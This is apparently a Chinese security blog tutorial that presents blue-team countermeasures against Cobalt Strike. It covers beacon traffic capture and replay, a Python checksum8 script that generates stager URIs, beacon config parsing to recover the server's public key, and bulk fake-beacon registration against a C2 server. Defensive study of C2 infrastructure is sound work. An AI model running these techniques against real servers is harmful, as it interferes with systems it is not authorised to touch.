本公众号的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他!!!
Cobalt Strike是红队必备神器,在每年HW中也是经常出现的后渗透测试工具,目前针对Cobalt Strike修改特征一些手段来逃避流量检测工具,在各种威胁情报中对Cobalt Strike也打上了标记。本文主要针对作为蓝队在遇到Cobalt Strike采用什么方法进行反制。
本文主要参考:
https://forum.butian.net/share/708
https://mp.weixin.qq.com/s/i79ziHSIVaJ7mqBfnewRZQ
kali:10.168.2.128
本文主要采用CobaltStrike4.8版本
文中提到的工具可通过回复关键字获取
Cobalt Strik ==》监听器
生成exe文件格式的木马,关闭测试机器上的杀毒软件(本文不针对免杀做详述),运行木马并通过wireshark工具进行抓包
选择刚生成的监听器,生成木马文件
打开wireshark工具抓取数据包,执行木马文件
筛选数据包:
http && ip.addr==10.168.2.128
分析数据包内容
数据包中携带的字段有一段加密后的Cookie,当前Cookie是经过非对称RSA加密,需要获取到私钥Private Key后就可以解密
实战中是无法获取到攻击者的私钥
GET /ptj HTTP/1.1
Accept: */*
Cookie: L+wLZB0qBut6HWR3edwJLeyoMonVKDG4KttPYCmyjDOardP1W1Ic5dcPts6a+AaCUGcjgfVYyRsHJamNXhtE1OzelRNWvqd/UfLTgAyRhv4rljdCDzZmRiJWG5tzZfmfsqAeW3UntPbNfmv3hgdcQszLnczsA85Q836MwtbY7FI=
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)
Host: 10.168.2.128
Connection: Keep-Alive
Cache-Control: no-cache
HTTP/1.1 200 OK
Date: Wed, 12 Jun 2024 07:03:48 GMT
Content-Type: application/octet-stream
Content-Length: 0
通过yakit或者burp等工具进行重放
把CS之前上线的会话删除,重放数据包发现又成功上线
重放同一数据包只会上线一条会话,只会刷新会话
这参考其他文章中解密cookie
也可以下载工具Dumpkeys.java,但是需要在java11版本以下使用,还要把这个java文件放置在CS服务器的CS文件夹下,与“cobaltstrike.jar“同一个目录下。
java -cp “cobaltstrike.jar” Dumpkeys.java
解密完可以看到HTTP类型Beacon上线包里的Cookie是RSA加密过的主机元数据。
解密网站:
https://the-x.cn/cryptography/Rsa.aspx
要想批量上线需要了解一下核心
Stager Url校验算法
Beacon配置的解密算法
其实Stager就是小马拉大马的操作
上线的时候先投递一个小巧的Stager Payload,然后通过Stager 去Beacon Staging Server的某个URL下载完整的Stage(也就是体积更大功能更复杂的Payload),并将其注入内存。
(这个URL作为特征也可以用来识别CS服务器,做网络测绘,某Quake就是这么做的)
如何得到那个URL?
CS中Stager URL校验算法,就是生成4位的随机校验码,将校验码拼接到URL后面即可请求到Stage的代码
CS中Stager URI校验算法,就是生成4位的随机校验码,将校验码拼接到URI后面即可请求到Stage的代码。
在这里面提到生成4位的随机校验码,使用的算法是Stager URI校验算法checksum8
当前的checksum8算法执行方法:
从a-z、A-Z、0-9字母中,随机使用选择四个字符,在这四个字符计算ASCII码的值后求和取模,如果结果等于92的为32位的,等于93为64位的,代码如下:
import requests
import random,time
def generate_checksum(input):
trial = ''
total = 0
while total != input:
total = 0
trial = ''.join(random.choice("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789")
for i in range(4))
# print(trial)
for i in range(4):
# tmp = trial[i:i+1]
# print('total的值', total)
# print('tmp的值:',tmp)
# print('ord的值:',ord(tmp))
# print('除后的值:', ord(tmp) % 256)
# time.sleep(2)
total = (total + ord(trial[i:i+1])) % 256
# print(total)
print('64位的stage:',trial)
return total
# print(total)
for j in range(0,6):
# generate_checksum(92) # 32位
generate_checksum(93) # 64位
通过生成的4位随机值下载stage文件
直接拼接访问下载
下载后对stage进行解密:
使用CobaltStrikeParser工具进行解密,使用前需要下载所依赖的第三方库,使用pip3 install -r requirements.txt
进行安装
将下载好的stage文件复制到CobaltStrikeParser工具目录下,执行命令
python3 parse_beacon_config.py TKTj --json > xiaoc.json
也可以使用浏览器访问json文件,美化下看着更舒服些
得到PublicKey,需要删除无效的值,获取到的值为Public.txt
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCEMNeZPkq0EDvGR9d8Py0f8EYAtFFJHpAuL3ZQDQkQBOr4f90M4NKZ7I2NmouTtpnoGVBXDvXXRhbKi+HhON+Y8Z5vlobJAlTzEL1owtq4UOFQ3hl0h8sPjFHrcoh75WrrXki/Dop42sY8I5SnaRiT5qSmLjsn9gFM4m+FuVQmowIDAQABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==
正确的公钥为:
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCEMNeZPkq0EDvGR9d8Py0f8EYAtFFJHpAuL3ZQDQkQBOr4f90M4NKZ7I2NmouTtpnoGVBXDvXXRhbKi+HhON+Y8Z5vlobJAlTzEL1owtq4UOFQ3hl0h8sPjFHrcoh75WrrXki/Dop42sY8I5SnaRiT5qSmLjsn9gFM4m+FuVQmowIDAQAB==
得到公钥后就可以模拟上线了
模拟上线可以参考其他师傅写的脚本,直接替换代码中的参数运行
直接把刚才得到的公钥替换到Public.txt
文件中,注意格式后面得带上==
运行脚本前需要装第三方库rsa,如已安装就直接运行
运行后需要输入目标C2 Server地址,可以在之前抓取数据包得wireshark中获取
批量上线成功!!!!!!!!!!!
公众号回复“20240613”